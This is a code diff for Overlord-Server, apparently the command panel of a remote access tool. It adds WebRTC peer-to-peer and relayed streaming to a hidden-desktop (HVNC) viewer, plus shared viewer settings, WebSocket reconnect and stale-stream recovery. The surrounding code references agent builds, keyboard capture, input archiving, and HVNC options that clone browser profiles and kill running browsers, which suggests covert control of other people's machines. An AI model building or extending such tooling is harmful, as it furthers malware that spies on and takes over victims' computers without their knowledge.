     console.warn("rd: falling back to jpeg codec", reasonText);
     const q = Number(qualitySlider?.value) || 90;
     setCodecModeLabel("jpeg", "fallback");
@@ -1732,7 +1849,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
     });
   }
 
-  ws.addEventListener("message", function (ev) {
+  function onWsMessage(ev) {
     if (ev.data instanceof ArrayBuffer) {
       const buf = new Uint8Array(ev.data);
       if (isFramePacket(buf)) {
@@ -1798,9 +1915,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
       }
       return;
     }
-  });
+  }
 
-  ws.addEventListener("open", function () {
+  function onWsOpen() {
+    reconnectDelay = 1000;
     rdDebug("ws open", {
       url: ws.url,
       readyState: ws.readyState,
@@ -1812,7 +1930,27 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
     pushInputToggles();
     pushCaptureToggles();
     clearOfflineTimer();
-    setStreamState("idle", "Stopped");
+    if (desiredStreaming) {
+      setStreamState("starting", "Resuming stream");
+      if (displaySelect && displaySelect.value !== undefined) {
+        sendCmd("desktop_select_display", {
+          display: parseInt(displaySelect.value, 10) || 0,
+        });
+      }
+      pushTargetFps();
+      pushResolution();
+      const mode = getWebrtcMode();
+      if (mode === "relayed") {
+        sendCmd("desktop_start", { webrtc: true });
+      } else if (mode === "p2p") {
+        sendCmd("desktop_start", {});
+        startP2P();
+      } else {
+        sendCmd("desktop_start", {});
+      }
+    } else {
+      setStreamState("idle", "Stopped");
+    }
     sendCmd("desktop_record_status", {});
     fetchClientInfo().then(() => {
       if (displaySelect && displaySelect.value) {
@@ -1822,9 +1960,9 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
         });
       }
     });
-  });
+  }
 
-  ws.addEventListener("close", function (event) {
+  function onWsClose(event) {
     rdDebug("ws close", {
       code: event.code,
       reason: event.reason,
@@ -1832,22 +1970,28 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
       streamState,
       desiredStreaming,
     });
-    desiredStreaming = false;
     disconnectAudio();
     destroyVideoDecoder();
     stopAllWebrtc();
-    clearRecordingTimer();
-    serverRecording = null;
-    setRecordingUi(false);
-    setStreamState("disconnected", "Disconnected");
-  });
+    if (desiredStreaming) {
+      setStreamState("connecting", "Reconnecting");
+      scheduleReconnect();
+    } else {
+      clearRecordingTimer();
+      serverRecording = null;
+      setRecordingUi(false);
+      setStreamState("disconnected", "Disconnected");
+    }
+  }
 
-  ws.addEventListener("error", function (event) {
+  function onWsError(event) {
     console.warn("rd: ws error", event);
     destroyVideoDecoder();
     stopAllWebrtc();
     setStreamState("error", "WebSocket error");
-  });
+  }
+
+  connectWs();
 
   if (!frameWatchTimer) {
     frameWatchTimer = setInterval(() => {
@@ -1911,7 +2055,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
     }
 
     lastMoveSentAt = now;
-    if (ws.bufferedAmount <= inputBackpressureBytes) {
+    if (ws && ws.bufferedAmount <= inputBackpressureBytes) {
       sendCmd("mouse_move", sendPoint);
     }
   }
@@ -1966,8 +2110,9 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
   });
 
   function stopOnExit() {
+    sharedSettingsSaver.saveNow();
     if (isRecording()) stopRecording();
-    if (ws.readyState === WebSocket.OPEN && desiredStreaming) {
+    if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) {
       desiredStreaming = false;
       sendCmd("desktop_stop", {});
     }

Overlord-Server/public/assets/shared-ui-settings.js

@@ -0,0 +1,60 @@
+export async function loadSharedUiSettings(scope) {
+  try {
+    const res = await fetch(`/api/ui-settings/${encodeURIComponent(scope)}`, {
+      credentials: "include",
+    });
+    if (!res.ok) return {};
+    const data = await res.json().catch(() => ({}));
+    return data && typeof data.settings === "object" && data.settings ? data.settings : {};
+  } catch (err) {
+    console.warn(`ui-settings: failed to load ${scope}`, err);
+    return {};
+  }
+}
+
+export function createSharedUiSettingsSaver(scope, readSettings, delayMs = 350) {
+  let timer = null;
+  let lastPayload = "";
+
+  async function saveNow() {
+    if (timer) {
+      clearTimeout(timer);
+      timer = null;
+    }
+
+    let settings = {};
+    try {
+      settings = readSettings() || {};
+    } catch (err) {
+      console.warn(`ui-settings: failed to read ${scope}`, err);
+      return;
+    }
+
+    const payload = JSON.stringify(settings);
+    if (payload === lastPayload) return;
+    lastPayload = payload;
+
+    try {
+      const res = await fetch(`/api/ui-settings/${encodeURIComponent(scope)}`, {
+        method: "PUT",
+        credentials: "include",
+        keepalive: true,
+        headers: { "Content-Type": "application/json" },
+        body: JSON.stringify({ settings }),
+      });
+      if (!res.ok) {
+        lastPayload = "";
+      }
+    } catch (err) {
+      lastPayload = "";
+      console.warn(`ui-settings: failed to save ${scope}`, err);
+    }
+  }
+
+  function scheduleSave() {
+    if (timer) clearTimeout(timer);
+    timer = setTimeout(saveNow, delayMs);
+  }
+
+  return { scheduleSave, saveNow };
+}

Overlord-Server/public/hvnc.html

@@ -148,6 +148,14 @@
                   />
                   <span id="qualityValue" class="pill pill-ghost text-slate-100 text-xs min-w-[44px] text-center">95%</span>
                 </div>
+                <div class="flex items-center gap-2 mb-2">
+                  <label class="text-sm text-slate-300 w-20" for="webrtcMode">Transport</label>
+                  <select id="webrtcMode" class="flex-1 bg-slate-800 border border-slate-700 rounded px-2 py-1 text-sm text-slate-100" title="Streaming transport. P2P: browser to agent direct, server only relays signaling. Relayed: through MediaMTX.">
+                    <option value="off" selected>Canvas</option>
+                    <option value="p2p">WebRTC P2P</option>
+                    <option value="relayed">WebRTC Relayed</option>
+                  </select>
+                </div>
                 <div class="flex items-center justify-between gap-2">
                   <label class="flex items-center gap-2 text-sm text-slate-200" title="Prefer H.264 when available; disable to force JPEG">
                     <input type="checkbox" id="codecH264" checked /> H.264
@@ -209,6 +217,20 @@
                 height: auto;
               "
             ></canvas>
+            <video
+              id="webrtcVideo"
+              class="bg-slate-950"
+              autoplay
+              playsinline
+              muted
+              style="
+                display: none;
+                max-width: 100%;
+                max-height: 100%;
+                width: auto;
+                height: auto;
+              "
+            ></video>
           </div>
         </div>
         <div

Overlord-Server/src/db/repositories.ts

@@ -1649,6 +1649,58 @@ export function deleteBuildProfileForUser(userId: number, name: string): boolean
   return ((result as any)?.changes || 0) > 0;
 }
 
+export interface SharedUiSettingsRecord {
+  scope: string;
+  settingsJson: string;
+  updatedByUserId: number | null;
+  updatedAt: number;
+}
+
+export function getSharedUiSettings(scope: string): SharedUiSettingsRecord | null {
+  const row = db
+    .query<any>(
+      `SELECT scope, settings_json, updated_by_user_id, updated_at
+       FROM shared_ui_settings
+       WHERE scope = ?`,
+    )
+    .get(scope);
+
+  if (!row) return null;
+  return {
+    scope: String(row.scope || ""),
+    settingsJson: String(row.settings_json || "{}"),
+    updatedByUserId: row.updated_by_user_id == null ? null : Number(row.updated_by_user_id),
+    updatedAt: Number(row.updated_at) || 0,
+  };
+}
+
+export function saveSharedUiSettings(
+  scope: string,
+  settingsJson: string,
+  updatedByUserId: number,
+): SharedUiSettingsRecord {
+  const now = Date.now();
+  db.run(
+    `INSERT INTO shared_ui_settings (scope, settings_json, updated_by_user_id, updated_at)
+     VALUES (?, ?, ?, ?)
+     ON CONFLICT(scope) DO UPDATE SET
+       settings_json = excluded.settings_json,
+       updated_by_user_id = excluded.updated_by_user_id,
+       updated_at = excluded.updated_at`,
+    scope,
+    settingsJson,
+    updatedByUserId,
+    now,
+  );
+
+  return {
+    scope,
+    settingsJson,
+    updatedByUserId,
+    updatedAt: now,
+  };
+}
+
 export interface SavedScriptRecord {
   id: string;
   userId: number;

Overlord-Server/src/db/schema.ts

@@ -329,6 +329,15 @@ db.run(`
 `);
 db.run(`CREATE INDEX IF NOT EXISTS idx_build_profiles_user_updated ON build_profiles(user_id, updated_at DESC);`);
 
+db.run(`
+  CREATE TABLE IF NOT EXISTS shared_ui_settings (
+    scope TEXT PRIMARY KEY,
+    settings_json TEXT NOT NULL,
+    updated_by_user_id INTEGER,
+    updated_at INTEGER NOT NULL
+  );
+`);
+
 db.run(`
   CREATE TABLE IF NOT EXISTS saved_scripts (
     id TEXT PRIMARY KEY,

Overlord-Server/src/server/routes/misc-routes.ts

@@ -2,12 +2,19 @@ import { authenticateRequest } from "../../auth";
 import { AuditAction, getAuditLogs, logAudit } from "../../auditLog";
 import { logger } from "../../logger";
 import { getConfig, updateSecurityConfig, updateTlsConfig, updateAppearanceConfig, updateChatConfig, getExportableConfig, importFullConfig, updateRegistrationConfig, updateBuildRateLimitConfig, updateThumbnailsConfig, updateInputArchiveConfig } from "../../config";
-import { getClientMetricsSummary, getClientMetricsSummaryForUser, getDatabaseFileSizeBytes, listClients } from "../../db";
+import {
+  getClientMetricsSummary,
+  getClientMetricsSummaryForUser,
+  getDatabaseFileSizeBytes,
+  getSharedUiSettings,
+  listClients,
+  saveSharedUiSettings,
+} from "../../db";
 import { getThumbnailStats } from "../../thumbnails";
 import { getClientCount, getOnlineClients } from "../../clientManager";
 import { metrics } from "../../metrics";
 import { requirePermission } from "../../rbac";
-import { getUserTelegramChatId, setUserTelegramChatId, getUserClientAccessScope, listUserClientRuleIdsByAccess, canUserAccessClient, getUserById, getUserInputArchiveEnabled, setUserInputArchiveEnabled } from "../../users";
+import { getUserTelegramChatId, setUserTelegramChatId, getUserClientAccessScope, listUserClientRuleIdsByAccess, canUserAccessClient, canUserAccessFeature, getUserById, getUserInputArchiveEnabled, setUserInputArchiveEnabled, type FeatureName } from "../../users";
 import { buildClientGraph } from "../client-graph";
 import { runCertbotSetup } from "../certbot-setup";
 import {
@@ -227,6 +234,76 @@ function summarizeCpuProfile(profile: any, durationMs: number) {
   };
 }
 
+const SHARED_UI_SETTING_FEATURES: Record<string, FeatureName> = {
+  remote_desktop: "remote_desktop",
+  hvnc: "hvnc",
+};
+
+function pickString(value: unknown, allowed: readonly string[]): string | undefined {
+  if (typeof value !== "string") return undefined;
+  return allowed.includes(value) ? value : undefined;
+}
+
+function pickBoolean(value: unknown): boolean | undefined {
+  return typeof value === "boolean" ? value : undefined;
+}
+
+function pickSteppedNumber(
+  value: unknown,
+  min: number,
+  max: number,
+  step = 1,
+): number | undefined {
+  const parsed = Number(value);
+  if (!Number.isFinite(parsed)) return undefined;
+  const clamped = Math.max(min, Math.min(max, Math.round(parsed)));
+  return Math.round(clamped / step) * step;
+}
+
+function assignIfDefined<T extends Record<string, unknown>>(
+  target: T,
+  key: string,
+  value: unknown,
+): void {
+  if (value !== undefined) target[key] = value;
+}
+
+function sanitizeSharedUiSettings(scope: string, raw: unknown): Record<string, unknown> {
+  const input = raw && typeof raw === "object" && !Array.isArray(raw)
+    ? raw as Record<string, unknown>
+    : {};
+  const out: Record<string, unknown> = {};
+
+  assignIfDefined(out, "display", pickSteppedNumber(input.display, 0, 63));
+  assignIfDefined(out, "quality", pickSteppedNumber(input.quality, 10, 100, 5));
+  assignIfDefined(out, "preferH264", pickBoolean(input.preferH264));
+  assignIfDefined(out, "webrtcMode", pickString(input.webrtcMode, ["off", "p2p", "relayed"]));
+  assignIfDefined(out, "mouse", pickBoolean(input.mouse));
+  assignIfDefined(out, "keyboard", pickBoolean(input.keyboard));
+  assignIfDefined(out, "clipboardSync", pickBoolean(input.clipboardSync));
+
+  if (scope === "remote_desktop") {
+    assignIfDefined(out, "resolution", pickString(input.resolution, ["720", "1080", "1440", "-1"]));
+    assignIfDefined(out, "targetFps", pickString(input.targetFps, ["30", "60", "90", "120", "144", "165", "240"]));
+    assignIfDefined(out, "cursor", pickBoolean(input.cursor));
+    assignIfDefined(out, "duplication", pickBoolean(input.duplication));
+    assignIfDefined(out, "audio", pickBoolean(input.audio));
+    assignIfDefined(out, "audioTransport", pickString(input.audioTransport, ["off", "p2p", "relayed"]));
+    assignIfDefined(out, "smoothing", pickSteppedNumber(input.smoothing, 0, 80, 5));
+    assignIfDefined(out, "recordMode", pickString(input.recordMode, ["normal", "compact"]));
+    assignIfDefined(out, "recordFps", pickString(input.recordFps, ["", "3", "5", "10", "15", "30", "60"]));
+  } else if (scope === "hvnc") {
+    assignIfDefined(out, "resolution", pickString(input.resolution, ["720", "1080", "1440", "-1"]));
+    assignIfDefined(out, "dxgi", pickBoolean(input.dxgi));
+    assignIfDefined(out, "uia", pickBoolean(input.uia));
+    assignIfDefined(out, "cloneProfile", pickBoolean(input.cloneProfile));
+    assignIfDefined(out, "cloneLite", pickBoolean(input.cloneLite));
+    assignIfDefined(out, "killIfRunning", pickBoolean(input.killIfRunning));
+  }
+
+  return out;
+}
+
 async function runInspectorCpuProfile(durationMs: number) {
   const inspector = await loadInspectorRuntime();
   const Session = (inspector as any).Session;
@@ -396,6 +473,67 @@ export async function handleMiscRoutes(
     });
   }
 
+  if (url.pathname.startsWith("/api/ui-settings/")) {
+    const user = await authenticateRequest(req);
+    if (!user) {
+      return Response.json({ error: "Not authenticated" }, { status: 401 });
+    }
+
+    const scope = decodeURIComponent(url.pathname.slice("/api/ui-settings/".length));
+    const feature = SHARED_UI_SETTING_FEATURES[scope];
+    if (!feature) {
+      return Response.json({ error: "Unknown UI settings scope" }, { status: 404 });
+    }
+    if (!canUserAccessFeature(user.userId, user.role, feature)) {
+      return Response.json({ error: "Forbidden" }, { status: 403 });
+    }
+
+    if (req.method === "GET") {
+      const record = getSharedUiSettings(scope);
+      let settings: Record<string, unknown> = {};
+      if (record?.settingsJson) {
+        try {
+          settings = sanitizeSharedUiSettings(scope, JSON.parse(record.settingsJson));
+        } catch {
+          settings = {};
+        }
+      }
+      return Response.json(
+        {
+          scope,
+          settings,
+          updatedAt: record?.updatedAt || null,
+          updatedByUserId: record?.updatedByUserId || null,
+        },
+        { headers: deps.CORS_HEADERS },
+      );
+    }
+
+    if (req.method === "PUT") {
+      let body: any = {};
+      try {
+        body = await req.json();
+      } catch {
+        return Response.json({ error: "Invalid JSON" }, { status: 400 });
+      }
+
+      const settings = sanitizeSharedUiSettings(scope, body?.settings);
+      const record = saveSharedUiSettings(scope, JSON.stringify(settings), user.userId);
+      return Response.json(
+        {
+          ok: true,
+          scope,
+          settings,
+          updatedAt: record.updatedAt,
+          updatedByUserId: record.updatedByUserId,
+        },
+        { headers: deps.CORS_HEADERS },
+      );
+    }
+
+    return Response.json({ error: "Method not allowed" }, { status: 405 });
+  }
+
   if (url.pathname === "/api/settings/telegram") {
     const user = await authenticateRequest(req);
     if (!user) {

Overlord-Server/src/server/routes/webrtc-routes.ts

@@ -24,7 +24,7 @@ export function issueWebrtcPublishToken(clientId: string): string {
   return token;
 }
 
-export type WebrtcKind = "desktop" | "webcam" | "audio";
+export type WebrtcKind = "desktop" | "hvnc" | "webcam" | "audio";
 
 export function webrtcStreamPathFor(clientId: string, kind: WebrtcKind): string {
   return `agents/${clientId}/${kind}`;
@@ -35,7 +35,7 @@ export async function handleWebrtcRoutes(req: Request, url: URL): Promise<Respon
 
   const rest = url.pathname.slice("/api/webrtc/".length);
   // /api/webrtc/agents/<clientId>/<kind>/(whip|whep)[/<sessionId>]
-  const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+\/(?:desktop|webcam|audio))\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
+  const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+\/(?:desktop|hvnc|webcam|audio))\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
   if (!match) return new Response("Not Found", { status: 404 });
 
   const [, streamPath, kind, sessionSuffix] = match;

Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts

@@ -941,6 +941,7 @@ export function handleWebSocketClose(
     if (!stillViewing) {
       const target = clientManager.getClient(removedClientId);
       deps.sendDesktopCommand(target, "desktop_stop", {});
+      deps.sendDesktopCommand(target, "webrtc_stop", { kind: "desktop" });
       deps.rdStreamingState.delete(removedClientId);
       logger.debug(`[rd] cleaned up state for client ${removedClientId}`);
     }
@@ -970,6 +971,7 @@ export function handleWebSocketClose(
   }
 
   if (role === "hvnc_viewer") {
+    deps.cleanupRdViewerP2P(ws);
     let removedClientId = clientId;
     for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
       if (sess.viewer === ws) {
@@ -984,6 +986,7 @@ export function handleWebSocketClose(
       const target = clientManager.getClient(removedClientId);
       if (target) {
         deps.sendHVNCCommand(target, "hvnc_stop", {});
+        deps.sendHVNCCommand(target, "webrtc_stop", { kind: "hvnc" });
       }
       deps.hvncStreamingState.delete(removedClientId);
       logger.debug(`[hvnc] cleaned up state for client ${removedClientId}`);

Overlord-Server/src/server/webrtc-p2p-sessions.ts

@@ -2,7 +2,7 @@ import type { ServerWebSocket } from "bun";
 import { v4 as uuidv4 } from "uuid";
 import type { SocketData } from "../sessions/types";
 
-export type P2PKind = "desktop" | "webcam" | "audio";
+export type P2PKind = "desktop" | "hvnc" | "webcam" | "audio";
 
 export type P2PSession = {
   viewer: ServerWebSocket<SocketData>;

Overlord-Server/src/server/ws-console-rd-hvnc.test.ts

@@ -122,4 +122,30 @@ describe("remote desktop viewer control", () => {
     expect(rdStreamingState.get(clientId)?.isStreaming).not.toBe(true);
     expect(viewer.sent.length).toBeGreaterThan(0);
   });
+
+  test("reasserts desktop_start when server stream state is stale", () => {
+    const clientId = `rd-stale-${Date.now().toString(36)}`;
+    const { agentWs } = createClient(clientId);
+    const viewer = createMockWs({ clientId });
+    rdStreamingState.set(clientId, {
+      isStreaming: true,
+      display: 0,
+      quality: 90,
+      codec: "h264",
+      duplication: true,
+      maxHeight: 1080,
+      maxFps: 120,
+      lastFps: 1,
+      lastFrameAt: 0,
+      startedAt: Date.now() - 5000,
+    });
+
+    handleRemoteDesktopViewerOpen(viewer as any);
+    handleRemoteDesktopViewerMessage(viewer as any, JSON.stringify({ type: "desktop_start" }));
+
+    const commands = agentCommands(agentWs);
+    expect(commands.filter((msg) => msg.commandType === "desktop_start")).toHaveLength(1);
+    expect(commands.filter((msg) => msg.commandType === "desktop_request_keyframe")).toHaveLength(0);
+    expect(rdStreamingState.get(clientId)?.isStreaming).toBe(true);
+  });
 });

Overlord-Server/src/server/ws-console-rd-hvnc.ts

@@ -170,6 +170,8 @@ export const rdStreamingState = new Map<string, {
   maxHeight: number;
   maxFps: number;
   lastFps: number;
+  lastFrameAt: number;
+  startedAt: number;
 }>();
 const rdInputPending = new Map<string, { clientId: string; sentAt: number; kind: string }>();
 const RD_INPUT_TTL_MS = 10_000;
@@ -183,7 +185,18 @@ function pruneRdInputPending(now = Date.now()) {
 }
 
 function defaultRdStreamingState() {
-  return { isStreaming: false, display: 0, quality: 90, codec: "", duplication: false, maxHeight: 0, maxFps: 120, lastFps: 0 };
+  return {
+    isStreaming: false,
+    display: 0,
+    quality: 90,
+    codec: "",
+    duplication: false,
+    maxHeight: 0,
+    maxFps: 120,
+    lastFps: 0,
+    lastFrameAt: 0,
+    startedAt: 0,
+  };
 }
 
 function clampDesktopFps(value: unknown): number {
@@ -379,10 +392,27 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
         sendDesktopCommand(target, "desktop_set_fps", { fps: clampDesktopFps(state.maxFps) });
         sendDesktopCommand(target, "desktop_start", {});
         state.isStreaming = true;
+        state.startedAt = Date.now();
         rdStreamingState.set(clientId, state);
         logger.debug(`[rd-debug] desktop_start forwarded client=${clientId} nextState=${JSON.stringify(state)} webrtc=${(payload as any).webrtc === true}`);
       } else {
-        logger.warn(`[rd-debug] desktop_start ignored duplicate client=${clientId} state=${JSON.stringify(state)} viewers=${sessionManager.getRdSessionsForClient(clientId).length}`);
+        const lastFrameAgeMs = state.lastFrameAt ? Date.now() - state.lastFrameAt : Number.POSITIVE_INFINITY;
+        const startAgeMs = state.startedAt ? Date.now() - state.startedAt : Number.POSITIVE_INFINITY;
+        if (lastFrameAgeMs > 3000 && startAgeMs > 3000) {
+          logger.info(`[rd-debug] desktop_start reasserting stale stream client=${clientId} lastFrameAgeMs=${Number.isFinite(lastFrameAgeMs) ? lastFrameAgeMs : -1} state=${JSON.stringify(state)} viewers=${sessionManager.getRdSessionsForClient(clientId).length}`);
+          sendDesktopCommand(target, "desktop_set_fps", { fps: clampDesktopFps(state.maxFps) });
+          sendDesktopCommand(target, "desktop_start", {});
+          state.isStreaming = true;
+          state.startedAt = Date.now();
+          rdStreamingState.set(clientId, state);
+        } else {
+          logger.debug(`[rd-debug] desktop_start already active client=${clientId} lastFrameAgeMs=${lastFrameAgeMs} startAgeMs=${startAgeMs} state=${JSON.stringify(state)} viewers=${sessionManager.getRdSessionsForClient(clientId).length}`);
+          if (String(state.codec || "").toLowerCase() === "h264") {
+            sendDesktopCommand(target, "desktop_request_keyframe", {
+              reason: "viewer_start_existing_stream",
+            });
+          }
+        }
       }
       break;
     case "desktop_stop": {
@@ -395,10 +425,12 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
         sendDesktopCommand(target, "webrtc_stop", { kind: "desktop" });
         if (state.isStreaming) {
           state.isStreaming = false;
+          state.startedAt = 0;
+          state.lastFrameAt = 0;
           rdStreamingState.set(clientId, state);
           logger.debug(`[rd] stopped streaming for client ${clientId}`);
         } else {
-          rdStreamingState.set(clientId, { ...state, isStreaming: false });
+          rdStreamingState.set(clientId, { ...state, isStreaming: false, startedAt: 0, lastFrameAt: 0 });
           logger.debug(`[rd] stop requested while not streaming for client ${clientId}`);
         }
       } else {
@@ -672,9 +704,11 @@ function handleRemoteDesktopFrame(payload: any) {
   const state = rdStreamingState.get(clientId) || defaultRdStreamingState();
   if (!state.isStreaming) {
     state.isStreaming = true;
+    state.startedAt = Date.now();
   }
   const frameFps = Number(header?.fps) || 0;
   if (frameFps > 0) state.lastFps = frameFps;
+  state.lastFrameAt = Date.now();
   rdStreamingState.set(clientId, state);
   const now = Date.now();
   const lastDebugFrameLog = rdDebugFrameLogAt.get(clientId) || 0;
@@ -690,6 +724,7 @@ function broadcastRemoteDesktopFrame(clientId: string, bytes: Uint8Array, header
   if (frameFps > 0) {
     const state = rdStreamingState.get(clientId) || { ...defaultRdStreamingState(), isStreaming: true };
     state.lastFps = frameFps;
+    state.lastFrameAt = Date.now();
     rdStreamingState.set(clientId, state);
   }
   recordRemoteDesktopFrame(clientId, header, bytes);
@@ -703,7 +738,20 @@ function broadcastRemoteDesktopFrame(clientId: string, bytes: Uint8Array, header
   return broadcastRemoteDesktopFrame(clientId, bytes, header);
 };
 
-export const hvncStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number; codec: string }>();
+type HVNCStreamingState = {
+  isStreaming: boolean;
+  display: number;
+  quality: number;
+  codec: string;
+  maxFps: number;
+  lastFps: number;
+};
+
+function defaultHVNCStreamingState(): HVNCStreamingState {
+  return { isStreaming: false, display: 0, quality: 90, codec: "", maxFps: 120, lastFps: 0 };
+}
+
+export const hvncStreamingState = new Map<string, HVNCStreamingState>();
 export const webcamStreamingState = new Map<string, { isStreaming: boolean; deviceIndex: number; fps: number; useMax: boolean; quality: number; codec: string }>();
 
 export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
@@ -1031,12 +1079,30 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
     return;
   }
 
-  const state = hvncStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, codec: "" };
+  const state = hvncStreamingState.get(clientId) || defaultHVNCStreamingState();
 
   logger.debug(`[hvnc] inbound viewer msg type=${payload.type} client=${clientId}`);
   switch (payload.type) {
     case "hvnc_start":
       if (!state.isStreaming) {
+        if ((payload as any).webrtc === true) {
+          const streamPath = webrtcStreamPathFor(clientId, "hvnc");
+          const token = issueWebrtcPublishToken(clientId);
+          sendHVNCCommand(target, "webrtc_publish", {
+            streamPath,
+            whipPath: `/api/webrtc/${streamPath}/whip`,
+            token,
+            kind: "hvnc",
+            hasVideo: true,
+            hasAudio: false,
+          });
+          safeSendViewer(ws, {
+            type: "webrtc_ready",
+            streamPath,
+            whepPath: `/api/webrtc/${streamPath}/whep`,
+          });
+        }
+        sendHVNCCommand(target, "hvnc_set_fps", { fps: clampDesktopFps(state.maxFps) });
         sendHVNCCommand(target, "hvnc_start", {
           autoStartExplorer: false,
         });
@@ -1053,6 +1119,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
       if (otherHvncViewers.length === 0) {
         if (state.isStreaming) {
           sendHVNCCommand(target, "hvnc_stop", {});
+          sendHVNCCommand(target, "webrtc_stop", { kind: "hvnc" });
           state.isStreaming = false;
           hvncStreamingState.set(clientId, state);
           logger.debug(`[hvnc] stopped streaming for client ${clientId}`);
@@ -1086,6 +1153,16 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
       }
       break;
     }
+    case "hvnc_set_fps": {
+      const newMaxFps = clampDesktopFps((payload as any).fps);
+      if (state.maxFps !== newMaxFps) {
+        sendHVNCCommand(target, "hvnc_set_fps", { fps: newMaxFps });
+        state.maxFps = newMaxFps;
+        hvncStreamingState.set(clientId, state);
+        logger.debug(`[hvnc] set target fps=${newMaxFps}`);
+      }
+      break;
+    }
     case "hvnc_enable_mouse":
       if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_mouse", { enabled: !!payload.enabled });
       break;
@@ -1229,6 +1306,34 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
       sendDesktopCommand(target, "clipboard_sync_stop", {});
       break;
     }
+    case "webrtc_p2p_offer": {
+      const sdp = typeof (payload as any).sdp === "string" ? (payload as any).sdp : "";
+      if (!sdp) break;
+      const sessionId = createP2PSession(ws, clientId, "hvnc");
+      sendHVNCCommand(target, "webrtc_p2p_offer", { sessionId, sdp, kind: "hvnc", hasVideo: true, hasAudio: false });
+      break;
+    }
+    case "webrtc_p2p_ice": {
+      const sessionId = getP2PSessionIdForViewer(ws);
+      if (!sessionId) break;
+      const candidate = typeof (payload as any).candidate === "string" ? (payload as any).candidate : "";
+      if (!candidate) break;
+      sendHVNCCommand(target, "webrtc_p2p_ice", {
+        sessionId,
+        kind: "hvnc",
+        candidate,
+        sdpMid: typeof (payload as any).sdpMid === "string" ? (payload as any).sdpMid : "",
+        sdpMLineIndex: Number((payload as any).sdpMLineIndex) || 0,
+      });
+      break;
+    }
+    case "webrtc_p2p_stop": {
+      const cleared = clearP2PSessionForViewer(ws);
+      if (cleared) {
+        sendHVNCCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId, kind: cleared.kind });
+      }
+      break;
+    }
     default:
       break;
   }
@@ -1239,6 +1344,15 @@ export function sendHVNCCommand(target: ClientInfo, commandType: string, payload
 }
 
 (globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
+  const state = hvncStreamingState.get(clientId) || defaultHVNCStreamingState();
+  if (!state.isStreaming) {
+    state.isStreaming = true;
+  }
+  const frameFps = Number(header?.fps) || 0;
+  if (frameFps > 0) {
+    state.lastFps = frameFps;
+  }
+  hvncStreamingState.set(clientId, state);
   const buf = buildViewerFrameBuffer(bytes, header);
   return broadcastFrameToViewers(sessionManager.getHvncSessionsForClient(clientId), buf, header);
 };